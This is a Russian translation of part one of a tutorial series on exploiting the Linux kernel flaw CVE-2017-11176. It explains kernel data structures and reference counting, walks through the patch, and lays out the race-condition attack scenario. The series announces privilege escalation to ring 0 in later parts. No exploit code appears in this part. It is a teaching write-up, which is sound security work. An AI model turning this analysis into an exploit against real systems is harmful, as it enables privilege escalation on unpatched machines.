25.12.2018

CVE‑2017‑11176: Пошаговая эксплуатация уязвимости ядра в Linux (часть 1)

image

В этой серии статей будет детально рассмотрен процесс разработки эксплоита для ядра в Linux на основе описания из CVE.

Автор: Lexfo

Введение

В этой серии статей будет детально рассмотрен процесс разработки эксплоита для ядра в Linux на основе описания из CVE. Начнем с анализа патча, чтобы понять суть и механику воспроизведения уязвимости на уровне ядра (часть 1), затем напишем концептуальный код (часть 2). Далее в концептуальной версии появится примитив произвольного вызова (часть 3), который будет использован для запуска любого кода в нулевом кольце (часть 4).

Этот цикл в основном ориентирован на начинающих разработчиков, поскольку в большинстве статей, посвященных разработке эксплоитов уровня ядра, подразумевается, что читатель уже в теме. Мы же начнем с самых азов и рассмотрим основные структуры данных и важные участки кода ядра. После ознакомления со всем циклом подразумевается, что вы сможете досконально разобраться с эксплоитом, включая то, как влияет каждая строка кода на ядро.

Несмотря на то, что в одной статье невозможно объять необъятное, мы попытаемся рассмотреть все аспекты ядра, которые нужно понимать при разработке эксплоита. Рассматривайте это руководство как путеводитель по ядру в Linux, сопровождаемый практическим примером. Написание эксплоитов дает хорошее понимание схемы функционирования ядра. Кроме того, мы рассмотрим различные отладочные техники, инструменты, наиболее распространенные подводные камни и методы решения возникающих проблем.

Уязвимость CVE‑2017‑11176, именуемая также «mq_notify: double sock_put()», исправлена в большинстве дистрибутивов в середине 2017 года. На момент написания статьи публичных эксплоитов, написанных на базе этой бреши, обнаружено не было.

В этом цикле рассматривается ядро версии 2.6.32.x, однако уязвимость присутствует во всех ядрах вплоть до версии 4.11.9. С одной стороны, рассматриваемая версия ядра достаточно старая, с другой – используется во множестве систем, а рассматриваемый код более легок для понимания. Думаю, что вам не составит большого труда найти эквивалентные участки кода в более новых ядрах.

Эксплоит, рассматриваемый в этой серии, не является универсальным. То есть, вполне вероятно, потребуются модификации для конкретно вашего случая (смещения структур/компоновка, гаджеты, адреса функций и так далее). Крайне не рекомендуется запускать эксплоит «как есть», поскольку, скорее всего, в вашей системе возникнет крах. Финальную версию эксплоита можно скачать здесь.

Кроме того, рекомендуется скачать исходник уязвимого ядра и параллельно просматривать соответствующие участки кода (или еще лучше сразу же разрабатывать эксплоит) во время чтения. В общем, запускайте свою любимую утилиту для навигации по коду, и мы начинаем.

Предупреждение: Не пугайтесь столь большому объему статей из этой серии. Помимо текста будет много кода. Более того, если вы хотите разобраться в тематике, связанной с исследованием ядра, вам все равно придется изучать много кода и документацию. Так что, привыкайте.

Рекомендуемая литература

В этой статье рассматривается лишь небольшая часть ядра. Если вы хотите более подробно ознакомиться с этой тематикой, рекомендуем следующие прекрасные книги:

· Understanding the Linux Kernel (D. P. Bovet, M. Cesati)

· Understanding Linux Network Internals (C. Benvenuti)

· A guide to Kernel Exploitation: Attacking the Core (E. Perla, M. Oldani)

· Linux Device Drivers (J. Corbet, A. Rubini, G. Kroah‑Hartman)

Настройка тестовой среды

Как говорилось выше, в статье рассматривается ядро 2.6.32.x, хотя вы можете попробовать реализовать эксплоит для дистрибутива, указанного ниже. В коде могут быть небольшие изменения, которые не должны привести к блокировкам.

Debian 8.6.0 (amd64) ISO

Этот ISO-образ работает на базе ядра 3.16.0. Мы лишь удостоверились, что уязвимость существует и приводит к краху ядра. Большинство изменений появятся на последних стадиях разработки эксплоита, которые рассматривается в 3 и 4 части данного цикла.

Рассматриваемую брешь можно эксплуатировать в различных конфигурациях и архитектурах, хотя есть условия, которые должны быть обязательно:

  • Ядро должно быть версии более ранней, чем 4.11.9 (мы рекомендуем < 4.x).

  • Ядро должно работать на архитектуре «amd64» (x86‑64).

  • Для проведения отладки у вас должны быть права суперпользователя.

  • Ядро использует аллокатор SLAB. Соответственно, в параметре CONFIG_SLAB (grep "CONFIG_SLAB" /boot/config‑$(uname ‑r)) должно быть установлено значение y.

  • SMEP должен быть включен (grep “smep” /proc/cpuinfo)

  • kASLR и SMAP должны быть отключены.

  • Количество процессоров может быть любым. Одного достаточно. Почему – поймете позже.

Стандартная конфигурация ISO-образа, упомянутого выше, удовлетворяет всем вышеуказанным требованиям.

Предупреждение: Чтобы облегчить отладку, пользуйтесь приложениями для виртуализации. Поскольку в VirtualBox не было поддержки SMEP, вы можете воспользоваться бесплатной версией Vmware или аналогами, где поддерживается SMEP (мы не будем касаться этой темы).

Как только система подготовлена к работе, нужно скачать исходники ядра. Как указано в документации, используем следующую команду:

sudo apt install build-essential linux-source bc kmod cpio flex cpio libncurses5-dev

Исходники должны находиться в /usr/src/linux‑source‑3.16.tar.xz. Вам потребуется приложение для навигации внутри кода. Особенно важно уметь отслеживать перекрестные ссылки символов. В Линуксе миллиарды строк кода, и, как вы понимаете, потеряться проще простого.

Многие разработчики ядра используют утилиту cscope. Вы можете сгенерировать перекрестные ссылки, как указано в этой статье, или при помощи следующей команды:

cscope –kqRubv

Параметр ‑k исключает заголовки системной библиотеки, поскольку ядро работает в режиме freestanding. Создание базы данных в cscope занимает около 5 минут, после чего вы можете пользоваться текстовым редактором (например, vim, emacs), у которого есть соответствующий плагин.

Поскольку ядро будет часто «падать», анализ кода и разработка эксплоита делаются на хосте. В целевой системе будет проводиться только компиляция и запуск эксплоита (через ssh). Более того, потребуется быстрая перенастройка среды после краха. Рекомендуем ознакомиться с утилитой rsshf и написать Make-файлы.

Теперь, надеемся, у вас все готово для разработки первого эксплоита.

Основные понятия

Чтобы не потеряться во время анализа CVE, рассмотрим базовые концепции ядра. С целью упрощения задачи большинство структур будут показаны в неполном виде.

Дескриптор процесса (task_struct) и макрос current

Одна из важнейших и, к тому же, не самая простая структура ядра - task_struct. У каждой задачи есть объект task_struct, находящийся в памяти. Любой пользовательский процесс состоит как минимум из одной задачи. В многопоточном приложении для каждого потока свой объект task_struct. У потоков ядра также есть свои собственные объекты task_struct (например, kworker и migration).

task_struct содержит критически важную информацию, как, например:

// [include/linux/sched.h]

struct task_struct {

volatile long state; // process state (running, stopped, ...)

void *stack; // task's stack pointer

int prio; // process priority

struct mm_struct *mm; // memory address space

struct files_struct *files; // open file information

const struct cred *cred; // credentials

// ...

};

Обращение к текущей работающей задаче настолько популярная операция, что для получения указателя на эту задачу существует специальный макрос с именем current.

Файловый дескриптор, файловый объект и таблица файловых дескрипторов

Многие из вас знакомы с фразой «все есть файл». Попробуем разобраться, что это изречение означает на самом деле.

В ядре Линукса предусмотрено семь типов файлов: обычный, директория, ссылка, символьное устройство, блочное устройство, фифо и сокет. Каждый из этих файлов может быть представлен файловым дескриптором, представляющим собой целое число и имеющим значение только для указанного процесса. С каждым дескриптором связана структура file.

Структура file (или объект file) представляет собой открытый файл, который не обязательно должен храниться на диске. Схожим образом устроены псевдо-файловые системы, как, например, /proc. Во время чтения файла системе может требоваться отслеживание курсора. Подобного рода информация хранится в структуре file. Указатели на структуры file часто именуются как filp (file pointer).

Наиболее важные поля структуры file:

// [include/linux/fs.h]

struct file {

loff_t f_pos; // "cursor" while reading file

atomic_long_t f_count; // object's reference counter

const struct file_operations *f_op; // virtual function table (VFT) pointer

void *private_data; // used by file "specialization"

// ...

};

Связь между файловым дескриптором и указателем на структуру file отражается в таблице файловых дескрипторов (file descriptor table; fdt). Обратите внимание, что эта связь не 1 к 1. То есть, несколько файловых дескрипторов могут указывать на один и тот же файловый объект. В этом случае в файловом объекте предусмотрен счетчик ссылок, который увеличивается на единицу. Таблица FDT хранится в структуре fdtable, представляющей собой массив указателей на структуру file, который может индексироваться файловым дескриптором.

// [include/linux/fdtable.h]

struct fdtable {

unsigned int max_fds;

struct file ** fd; /* current fd array */

// ...

};

Структура files_struct связывает таблицу файловых дескрипторов и процесс. Сразу же возникает вопрос, почему бы напрямую не встроить структуру fdtable непосредственно в структуру task_struct. Причина присутствия промежуточного звена в виде структуры files_struct в том, что в структуре fdtable хранится дополнительная информация (например, битовая маска close_on_exec и др.). Структура files_struct также может совместно использоваться разными потоками (или объектами task_struct). Кроме того, используются некоторые трюки, связанные с оптимизацией.

// [include/linux/fdtable.h]

struct files_struct {

atomic_t count; // reference counter

struct fdtable *fdt; // pointer to the file descriptor table

// ...

};

Указатель на структуру files_struct хранится в поле files структуры task_struct.

Таблица виртуальных функций (VFT)

Даже несмотря на то, что большая часть кода написана на C, ядро в Линуксе остается объектно-ориентированным.

Один из способов сохранения универсальности – использовать таблицу виртуальных функций, которая в основном состоит из указателей на функции.

Наиболее известная таблица виртуальных функций – структура file_operations:

// [include/linux/fs.h]

struct file_operations {

ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);

ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);

int (*open) (struct inode *, struct file *);

int (*release) (struct inode *, struct file *);

// ...

};

Поскольку, как вы уже знаете, «все есть файлы», но разных типов, для каждого типа предусмотрены разные файловые операции, обычно называемые f_op. Подобная схема позволяет ядру обрабатывает файлы независимо от типа и сделать код более удобочитаемым, как показано в примере ниже:

if (file->f_op->read)

ret = file->f_op->read(file, buf, count, pos);

Структуры socket, sock и SKB

Структура socket находится на верхнем уровне сетевого стека. Если смотреть с точки зрения файла, структура socket – первый уровень специализации. Во время создания сокета (при помощи системного вызова socket()) создается новая структура, и файловой операции (поле f_op) присваивается значение socket_file_ops.

Поскольку каждый файл представлен файловым дескриптором, вы можете использовать любой системный вызов, принимающий в качестве аргумента файловый дескриптор, (read(), write(), close()) с файловым дескриптором сокета. Теперь стало понятно главное преимущества идеологии «все есть файл». Вне зависимости от типа ядро выполняет стандартную операцию над файлом сокета:

// [net/socket.c]

static const struct file_operations socket_file_ops = {

.read = sock_aio_read, // <---- calls sock->ops->recvmsg()

.write = sock_aio_write, // <---- calls sock->ops->sendmsg()

.llseek = no_llseek, // <---- returns an error

// ...

}

Поскольку в структуре socket реализован набор функций для BSD-сокета (connect(), bind(), accept(), listen(), ...) туда же встроена специальная таблица виртуальных функций, представляющей собой структуру proto_ops. Для каждого типа сокета (например, AF_INET, AF_NETLINK) предусмотрена своя структура proto_ops.

// [include/linux/net.h]

struct proto_ops {

int (*bind) (struct socket *sock, struct sockaddr *myaddr, int sockaddr_len);

int (*connect) (struct socket *sock, struct sockaddr *vaddr, int sockaddr_len, int flags);

int (*accept) (struct socket *sock, struct socket *newsock, int flags);

// ...

}

При запуске системного BSD-вызова (например, bind()), ядро отрабатывает следующий сценарий:

1. Извлекает структуру file из таблицы файловых дескрипторов.

2. Извлекает структуру socket из структуры file.

3. Выполняет обратные вызовы из структуры proto_ops (например, sock‑>ops‑>bind()).

Поскольку во время некоторых операций в протоколах (например, связанные с отправкой/получением данных) может потребоваться необходимость в переходе на более низкий уровень сетевого стека, в структуре socket хранится указатель на структуру sock. Этот указатель в основном используется в операциях, связанных с протоколом сокета (proto_ops). Структура socket в некотором роде является связующим звеном между структурой file и структурой sock.

// [include/linux/net.h]

struct socket {

struct file *file;

struct sock *sk;

const struct proto_ops *ops;

// ...

};

Структура sock представляет собой комплексную структуру данных. Можно сказать, что эта структура – нечто среднее между нижним уровнем (драйвером сетевой карты) и верхним уровнем (сокетом). Главное назначение этой структуры – возможность хранения буферов приема/отправки стандартным образом.

Когда пакет принимается через сетевую карту, драйвер ставит этот сетевой пакет в очередь в буфере приема структуры sock. Этот пакет находится в буфере то тех пор, пока от программы не поступит команда на получение (системный вызов recvmsg()). С другой стороны, когда программа хочет отправить данные (системный вызов sendmsg()) сетевой пакет ставится в очередь в буфере отправки структуры sock. После уведомления, сетевая карта вынимает пакет из очереди и выполняет отправку.

Эти «сетевые пакеты» описываются структурой sk_buff (или skb). Буферы, используемые для приема/отправки, представляют собой дважды связанные списки структуры skb:

// [include/linux/sock.h]

struct sock {

int sk_rcvbuf; // theorical "max" size of the receive buffer

int sk_sndbuf; // theorical "max" size of the send buffer

atomic_t sk_rmem_alloc; // "current" size of the receive buffer

atomic_t sk_wmem_alloc; // "current" size of the send buffer

struct sk_buff_head sk_receive_queue; // head of doubly-linked list

struct sk_buff_head sk_write_queue; // head of doubly-linked list

struct socket *sk_socket;

// ...

}

Как показано выше, структура sock указывает на структуру socket через поле sk_socket, а структура socket указывает на структуру sock через поле sk. Тем же самым образом, структура socket указывает на структуру file через поле file, а структура file указывает на структуру socket через поле private_data. Этот двунаправленный механизм позволяет информации перемещаться вверх и вниз по сетевому стеку.

Примечание: Старайтесь не путать! Объекты структуры sock часто называют sk, а объекты структуры socket часто называют sock.

Сокеты семейства Netlink

Netlink-сокет является типом (или семейством) сокетов, как, например, сокеты семейства UNIX или INET.

Netlink-сокет (AF_NETLINK) позволяет общаться между пространством пользователя и ядра. Кроме того, этот сокет можно использовать для модификации таблицы маршрутизации (протокол NETLINK_ROUTE), для получения уведомлений о событиях SELinux (NETLINK_SELINUX) и даже для коммуникации с другими пользовательскими процессами (NETLINK_USERSOCK).

Поскольку структуры sock и socket являются универсальными и могут хранить информацию различных сокетов, необходимо сделать «специализацию» в некотором роде.

С точки зрения структуры socket нужно определить поле proto_ops. Для сокетов семейства Netlink (AF_NETLINK) операции BSD-сокетов именуются как netlink_ops:

// [net/netlink/af_netlink.c]

static const struct proto_ops netlink_ops = {

.bind = netlink_bind,

.accept = sock_no_accept, // <--- calling accept() on netlink sockets leads to EOPNOT

SUPP error

.sendmsg = netlink_sendmsg,

.recvmsg = netlink_recvmsg,

// ...

}

С точки зрения структуры sock ситуация немного сложнее. Можно представить, что структура sock является абстрактным классом, который нужно определить. В случае с сокетами семейства Netlink мы имеем дело со структурой netlink_sock:

// [include/net/netlink_sock.h]

struct netlink_sock {

/* struct sock has to be the first member of netlink_sock */

struct sock sk;

u32 pid;

u32 dst_pid;

u32 dst_group;

// ...

};

Другими словами, netlink_sock представляет собой структуру sock с дополнительными атрибутами (то есть произошло наследование).

Самый верхний комментарий в структуре, показанной выше, чрезвычайно важен. Ядро может манипулировать базовой структурой sock без знания точного типа. Здесь возникает еще одно преимущество: псевдонимы адресов &netlink_sock.sk и &netlink_sock. Соответственно, освобождение указателя &netlink_sock.sk влечет за собой освобождение всего объекта netlink_sock. С точки зрения теории языков именно таким образом в ядре реализован типичный полиморфизм даже несмотря на то, что в языке С подобная возможность не предусмотрена. Тогда логику жизненного цикла объекта netlink_sock можно хранить в обобщенном, хорошо оттестированном коде.

Собираем все воедино

После того как мы изучили базовые структуры данных, разместим все рассмотренные элементы на одной диаграмме.

Рисунок 1: Взаимосвязи между базовыми структурами данных ядра

Примечание: каждая стрелка представляет собой указатель. Ни одна линия не пересекает другую. Структура sock встроена внутрь структуры netlink_sock.

Счетчики ссылок

Завершая ознакомление с базовыми концепциями ядра, нельзя не упомянуть, как происходит обработка счетчиков ссылок.

Чтобы уменьшить утечки памяти в ядре и предотвратить уязвимости use-after-free (использование после освобождения) в большинстве структур данных Линукса используется счетчик ссылок целочисленного типа atomic_t. Манипуляции со счетчиком могут выполняться только атомарными (элементарными) операциями, как, например:

  • atomic_inc()

  • atomic_add()

  • atomic_dec_and_test() // вычесть 1 и проверить, равно ли получившееся значение нулю

Поскольку «умный счетчик» (или перегрузка оператора) отсутствует, счетчик ссылок обрабатывается разработчиками вручную. То есть, когда на объект начинает ссылаться другой объект, счетчик ссылок первого объекта должен увеличиться. Когда ссылка исчезает, соответственно, счетчик ссылок должен уменьшиться. Как правило, объект высвобождается после того, как счетчик ссылок становится равным нулю.

Примечание: увеличение счетчика обычно называют «взять ссылку», уменьшение – «освободить ссылку».

Однако если в какой-либо момент времени равновесие нарушится (например, добавится одна ссылка и освободится две), существует риск нарушение целостности памяти:

  • Если счетчик ссылок уменьшился дважды: возникнет проблема use-after-free

  • Если счетчик ссылок увеличился дважды: возникнет утечка памяти или переполнение целочисленного типа, что приведет к проблеме use-after-free

В ядре предусмотрено несколько механизмов (kref, kobject) для обработки счетчиков ссылок с общим интерфейсом. Однако эти средства используются не систематически, и те объекты, с которыми мы будем работать, имеют свои собственные обработчики счетчиков ссылок. В целом, увеличение счетчика (взятие ссылки), как правило, выполняется функциями «*_get()», уменьшение счетчика (освобождение ссылки) выполняется функциями «*_put()».

Те структуры, которые мы рассматривали выше, имеют свои обработчики с различными именами:

  • Структура sock: sock_hold(), sock_put()

  • Структура file: fget(), fput()

  • Структура files_struct: get_files_struct(), put_files_struct()

Предупреждение: может возникнуть еще больший конфуз. Например, функция skb_put() не уменьшает ни один счетчик, а помещает данные в буфер sk! Никогда не полагайтесь исключительно на имя функции.

Теперь, когда мы рассмотрели все базовые структуры данных, имеющие отношение к уязвимости, переходим к анализу описания CVE.

Краткий анализ описания уязвимости

Перед анализом уязвимости рассмотрим главное предназначение системного вызова mq_notify(). Как указано в справке, вызовы с префиксом «mq_*» предназначены для работы с очередями сообщений стандарта POSIX и идут в качестве замены обработчиков очередей сообщений в системах System V. Выдержка из документации:

Очереди POSIX-сообщений позволяют процессам обмениваться информацией в форме сообщений. Этот API отличается от того, что есть в System V (msgget(2), msgsnd(2), msgrcv(2) и т. д), но имеет схожую функциональность.

Сам по себе системный вызов mq_notify() используется для регистрации/отмены регистрации асинхронных уведомлений. Выдержка из документации:

mq_notify() позволяет вызывающему процессу зарегистрировать или отменить регистрацию на доставку асинхронного уведомления, когда новое сообщение поступает в пустую очередь, на которую ссылается дескриптор mqdes.

При изучении CVE всегда полезно начать с описания и патча, исправляющего уязвимость.

Функция mq_notify в ядре вплоть до версии 4.11.9 не устанавливает значение NULL в указатель структуры sock по факту начала отработки логики повторения (кода, который идет после метки retry). Во время закрытия Netlink-сокета в пространстве пользователя злоумышленник может спровоцировать отказ в обслуживании (use‑after‑free) или другие непредсказуемые последствия (возможно, повысить привилегии в нулевом кольце).

Патч доступен здесь:

diff --git a/ipc/mqueue.c b/ipc/mqueue.c

index c9ff943..eb1391b 100644

--- a/ipc/mqueue.c

+++ b/ipc/mqueue.c

@@ -1270,8 +1270,10 @@ retry:

timeo = MAX_SCHEDULE_TIMEOUT;

ret = netlink_attachskb(sock, nc, &timeo, NULL);

- if (ret == 1)

+ if (ret == 1) {

+ sock = NULL;

goto retry;

+ }

if (ret) {

sock = NULL;

nc = NULL;

Патч занимает всего одну строку! Ничего сложного.

В описании патча есть много полезной информации, касающейся сути уязвимости:

mqueue: исправлена ошибка use-after-free в функции sys_mq_notify()

Логика повторения для функции netlink_attachskb() внутри sys_mq_notify() является ужасной и уязвимой.

  1. Счетчик ссылок в структуре sock уменьшается до того, когда требуется повторение.

  2. Файловый дескриптор контролируется из пространства пользователя, поскольку мы уже уменьшили счетчик ссылок в структуре file.

Таким образом, далее начинает отрабатываться повтор, но файловый дескриптор уже закрыт из пространства пользователя во время этого небольшого промежутка времени. В итоге функция netlink_detachskb() отрабатывается по ошибочному сценарию, и структура sock освобождается еще раз. Затем этот сокет закрывается из пространства пользователя, что может повлечь за собой возникновение уязвимости use-after-free.

После установки NULL в структуру sock проблема должна разрешиться.

В описании патча есть только одна ошибка: «во время этого небольшого промежутка времени». Уязвимость оказалась с изюминкой, и далее мы увидим, что этот промежуток времени можно увеличить хоть до бесконечности при помощи стабильного и надежного метода (подробнее во второй части).

Суть уязвимости

В описании патча есть много полезной информации:

  • язвимый код находится в системном вызове mq_notify.

  • Есть нечто ошибочное в логике повторения.

  • Есть нечто ошибочное в подсчете ссылок в структуре sock, что приводит к ошибке use‑after‑free.

  • Есть нечто ошибочное, имеющее отношение к состоянию гонки, связанное с закрытым файловым дескриптором.

Уязвимый код

Рассмотрим реализацию системного вызова mq_notify(), особенно ту часть, которая связана с логикой повторения (метка retry), а также участок, где происходит завершение программы (метка out):

// from [ipc/mqueue.c]

SYSCALL_DEFINE2(mq_notify, mqd_t, mqdes,

const struct sigevent __user *, u_notification)

{

int ret;

struct file *filp;

struct sock *sock;

struct sigevent notification;

struct sk_buff *nc;

// ... cut (copy userland data to kernel + skb allocation) ...

sock = NULL;

retry:

[0] filp = fget(notification.sigev_signo);

if (!filp) {

ret = -EBADF;

[1] goto out;

}

[2a] sock = netlink_getsockbyfilp(filp);

[2b] fput(filp);

if (IS_ERR(sock)) {

ret = PTR_ERR(sock);

sock = NULL;

[3] goto out;

}

timeo = MAX_SCHEDULE_TIMEOUT;

[4] ret = netlink_attachskb(sock, nc, &timeo, NULL);

if (ret == 1)

[5a] goto retry;

if (ret) {

sock = NULL;

nc = NULL;

[5b] goto out;

}

[5c] // ... cut (normal path) ...

out:

if (sock) {

netlink_detachskb(sock, nc);

} else if (nc) {

dev_kfree_skb(nc);

}

return ret;

}

В коде выше вначале происходит взятие ссылки на объект структуры file на базе файлового дескриптора из пространства пользователя [0]. Если в таблице файловых дескрипторов текущего процесса такого дескриптора не существует, возвращается пустой указатель и выполнение кода переходит к метке out [1].

Иначе берется ссылка на объект структуры sock, связанной с тем файлом [2a]. Если корректного объекта структуры sock не существует, указатель на структуру sock сбрасывается в значение NULL, и код переходит к метке out [3]. В обоих случаях, предыдущая ссылка на структуру file освобождается [2b] (то есть уменьшается счетчик ссылок).

В конце вызов функции netlink_attachskb() [4] пытается поставить структуру sk_buff (nc) в очередь на прием структуры sock. Теперь возможно три сценария:

1. Все пройдет хорошо, и код продолжит отработку по стандартному сценарию [5c].

2. Функция netlink_attachskb() возвратит 1. В этом случае произойдет переход к метке retry [5a], и начнется отработка логики повторения.

3. В оба объекта будет установлено значение NULL, и произойдет переход к метке out [5b].

Почему нужно присваивать NULL объекту sock?

Чтобы ответить на этот вопрос, рассмотрим, что произойдет, если не присвоить объекту sock значение NULL. Ответ:

out:

if (sock) {

netlink_detachskb(sock, nc); // <----- here

}

// from [net/netlink/af_netlink.c]

void netlink_detachskb(struct sock *sk, struct sk_buff *skb)

{

kfree_skb(skb);

sock_put(sk); // <----- here

}

// from [include/net/sock.h]

/* Ungrab socket and destroy it if it was the last reference. */

static inline void sock_put(struct sock *sk)

{

if (atomic_dec_and_test(&sk->sk_refcnt)) // <----- here

sk_free(sk);

}

Другими словами, если sock не будет равен NULL во время перехода к метке out, счетчик ссылок sk_refcnt структуры sock будет обязательно уменьшен на 1.

Как указано в описании патча, существует проблема с подсчетом ссылок в объекте sock. Здесь возникает еще один вопрос о том, где счетчик ссылок изначально увеличивается. Если мы посмотрим на код функции netlink_getsockbyfilp(), вызываемой в строке [2a] (см. предыдущий листинг), то увидим следующее:

// from [net/netlink/af_netlink.c]

struct sock *netlink_getsockbyfilp(struct file *filp)

{

struct inode *inode = filp->f_path.dentry->d_inode;

struct sock *sock;

if (!S_ISSOCK(inode->i_mode))

return ERR_PTR(-ENOTSOCK);

sock = SOCKET_I(inode)->sk;

if (sock->sk_family != AF_NETLINK)

return ERR_PTR(-EINVAL);

[0] sock_hold(sock); // <----- here

return sock;

}

Таким образом, счетчик ссылок объекта sock увеличивается в строке [0] и на самом раннем этапе логики повторения.

Поскольку счетчик увеличивается безусловно функцией netlink_getsockbyfilp() и уменьшается функцией netlink_detachskb() (если объект sock не равен NULL), на первый взгляд кажется, что функция netlink_attachskb() никак не должна влиять на счетчик ссылок.

Рассмотрим упрощенную версию функции netlink_attachskb():

// from [net/netlink/af_netlink.c]

/*

* Attach a skb to a netlink socket.

* The caller must hold a reference to the destination socket. On error, the

* reference is dropped. The skb is not sent to the destination, just all

* all error checks are performed and memory in the queue is reserved.

* Return values:

* < 0: error. skb freed, reference to sock dropped.

* 0: continue

* 1: repeat lookup - reference dropped while waiting for socket memory.

*/

int netlink_attachskb(struct sock *sk, struct sk_buff *skb,

long *timeo, struct sock *ssk)

{

struct netlink_sock *nlk;

nlk = nlk_sk(sk);

if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {

// ... cut (wait until some conditions) ...

sock_put(sk); // <----- refcnt decremented here

if (signal_pending(current)) {

kfree_skb(skb);

return sock_intr_errno(*timeo); // <----- "error" path

}

return 1; // <----- "retry" path

}

skb_set_owner_r(skb, sk); // <----- "normal" path

return 0;

}

В функции netlink_attachskb() возможны две ветви выполнения:

  1. Обычный сценарий: владельцем объекта skb становится структура sock (то есть происходит установка в очередь приема внутри структуры sock).

  2. Буфер приема сокета полный: тогда происходит ожидание до тех пор, пока место не освободится и отработается логика повторения, или выполнение завершится с ошибкой.

В начале комментария функции, показанной выше, сказано следующее: «В вызывающей функции должна быть ссылка на целевой сокет. В случае ошибки ссылка освобождается. Получается, что netlink_attachskb() влияет на счетчик ссылок структуры sock!

Поскольку netlink_attachskb() может освободить (уменьшить) счетчик ссылок, который был равен единице в netlink_getsockbyfilp(), получается, что в вызывающей функции счетчик не должен уменьшаться во второй раз, что и достигается присвоением объекту sock значения NULL! Эта задача решается корректно во время «ошибки» (когда функция netlink_attachskb() возвращает отрицательное значение). Однако когда netlink_attachskb() возвращает 1, и мы имеет дело с логикой повторения, возникает нестыковка. Именно эта логика и заложена в основу патча.

Теперь мы знаем, что не так со счетчиком ссылок структуры sock, а конкретно – при определенных условиях происходит уменьшение во второй раз. Кроме того, в логике повторения не происходит обнуление объекта sock.

Что насчет «состояния гонки»?

В патче упоминается о «маленьком промежутке» (то есть, состоянии гонки), имеющем отношение к закрытию файлового дескриптора. Почему?

Смотрим в самое начало кода логики повторения:

sock = NULL; // <----- first loop only

retry:

filp = fget(notification.sigev_signo);

if (!filp) {

ret = -EBADF;

goto out; // <----- what about this?

}

sock = netlink_getsockbyfilp(filp);

Во время первого прохода участок кода, отвечающий за обработку ошибок, может выглядеть корректно. Однако не забывайте, что во время второго прохода (то есть после «goto retry») структура sock уже не пустая (и счетчик ссылок уже уменьшен). Таким образом, происходит переход к метке out и соответствие первому условию:

out:

if (sock) {

netlink_detachskb(sock, nc);

}

То есть счетчик ссылок структуры sock уменьшается во второй раз! Получаем уязвимость double sock_put().

Может возникнуть вопрос, почему мы попадаем внутрь условия (когда fget() возвращает NULL) во время второго прохода, но не во время первого. Этот аспект уязвимости связан с состоянием гонки. Далее мы рассмотрим, как добиться выполнения этого условия.

Сценарий атаки

Полагая, что файловый дескриптор может совместно использоваться двумя потоками, рассмотрим следующую схему:


Рисунок 2: Последовательность событий в двух потоках

В системной вызове close(TARGET_FD) выполняется функция fput(), которая уменьшает счетчик ссылок структуры file на единицу, и удаляется привязка между указанным файловым дескриптором (TARGET_FD) и связанным файлом. Таким образом, происходит присвоение элементу таблицы fdt[TARGET_FD] значение NULL. Поскольку вызов close(TARGET_FD) освобождает последнюю ссылку связанной структуры file, структура также полностью освобождается.

Поскольку структура file освободилась, обрывается ссылка со связанной структурой sock (то есть счетчик ссылок будет уменьшен на единицу). Поскольку счетчик ссылок структуры sock становится равным 0, то структура тоже освобождается. В этот момент указатель структуры sock становится висячим, поскольку не было присвоено значение NULL.

Второй вызов функции fget завершится неудачно (поскольку файловый дескриптор не указывает на какую-либо корректную структуру file в таблице FDT), и произойдет переход к метке «out». Соответственно, функция netlink_detachskb() будет вызвана с указателем на освобожденный объект, и возникнет проблема use-after-free!

Повторимся, что здесь use-after-free является следствием, но не уязвимостью.

В патче неслучайно упомянут «закрытый файловый дескриптор», поскольку необходимо конкретное условие, чтобы возникла эта ошибка. А так как функция close() вызывается только в определенный момент в другом потоке, этот прецедент называется «гонкой».

Теперь мы поняли суть и условия воспроизведения уязвимости. Нужно, чтобы возникло два условия:

  1. В первом проходе логики повторения (код метки retry) функция netlink_attachskb() должна вернуть 1.

  2. Во втором проходе логики повторения функция fget() должна вернуть NULL.

Другими словами, когда мы возвращаемся из системного вызова mq_notify(), счетчик ссылок структуры sock оказывается уменьшенным на единицу, и у нас получается дисбаланс. Поскольку перед началом отработки mq_notify() счетчик ссылок структуры sock был установлен в единицу, этот счетчик используется после освобождения к концу системного вызова (в функции netlink_detachskb()).

Отработка логики повторения

В предыдущем разделе мы проанализировали уязвимость и наметили сценарий атаки для активации этой бреши. В этом разделе рассмотрим, как можно добраться до уязвимого кода, находящегося после метки retry) и начнем кодить эксплоит.

Прежде чем реализовывать что-либо, нужно проверить, возможна ли вообще эксплуатация этой уязвимости. Если мы не сможем добраться до уязвимого кода (например, из-за различных проверок на безопасность), то дальше продолжать смысла не имеет.

Анализ кода перед меткой retry

Как и большинство системных вызовов, вначале mq_notify копирует данные из пространства пользователя при помощи функции copy_from_user().

SYSCALL_DEFINE2(mq_notify, mqd_t, mqdes, const struct sigevent __user *, u_notification)

{

int ret;

struct file *filp;

struct sock *sock;

struct inode *inode;

struct sigevent notification;

struct mqueue_inode_info *info;

struct sk_buff *nc;

[0] if (u_notification) {

[1] if (copy_from_user(&notification, u_notification,

sizeof(struct sigevent)))

return -EFAULT;

}

audit_mq_notify(mqdes, u_notification ? &notification : NULL); // <--- you can ignore this

В строке [0] проверяется, что аргумент u_notification, переданный из пространства пользователя, не равен NULL. В строке [1] происходит создание локальной копии аргумента u_notification в памяти ядра (notification).

Далее идет серия проверок с использованием элементов структуры sigevent из пространства пользователя.

nc = NULL;

sock = NULL;

[2] if (u_notification != NULL) {

[3a] if (unlikely(notification.sigev_notify != SIGEV_NONE &&

notification.sigev_notify != SIGEV_SIGNAL &&

notification.sigev_notify != SIGEV_THREAD))

return -EINVAL;

[3b] if (notification.sigev_notify == SIGEV_SIGNAL &&

!valid_signal(notification.sigev_signo)) {

return -EINVAL;

}

[3c] if (notification.sigev_notify == SIGEV_THREAD) {

long timeo;

/* create the notify skb */

nc = alloc_skb(NOTIFY_COOKIE_LEN, GFP_KERNEL);

if (!nc) {

ret = -ENOMEM;

goto out;

}

[4] if (copy_from_user(nc->data,

notification.sigev_value.sival_ptr,

NOTIFY_COOKIE_LEN)) {

ret = -EFAULT;

goto out;

}

/* TODO: add a header? */

skb_put(nc, NOTIFY_COOKIE_LEN);

/* and attach it to the socket */

retry: // <---- we want to reach this!

filp = fget(notification.sigev_signo);

